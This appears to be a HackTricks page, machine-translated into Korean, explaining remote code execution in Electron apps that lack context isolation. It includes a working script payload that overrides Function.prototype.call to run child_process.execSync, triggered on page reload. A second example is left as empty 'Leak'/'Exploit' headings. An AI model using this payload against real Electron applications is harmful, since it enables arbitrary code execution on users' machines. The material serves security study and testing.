Electron contextIsolation RCE via Electron internal code

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

Example 1

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41의 예시

"exit" 이벤트 리스너는 페이지 로딩이 시작될 때 항상 내부 코드에 의해 설정됩니다. 이 이벤트는 탐색 직전에 발생합니다:

process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- 더 이상 존재하지 않음

그런 다음 여기로 이동합니다:

여기서 "self"는 Node의 프로세스 객체입니다:

프로세스 객체에는 "require" 함수에 대한 참조가 있습니다:

process.mainModule.require

다음은 handler.call이 process 객체를 받게 될 것이므로 임의의 코드를 실행하도록 덮어쓸 수 있습니다:

<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>

예제 2

프로토타입 오염으로부터 require 객체 가져오기. https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81에서

Leak:

Exploit:

htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기

Last updated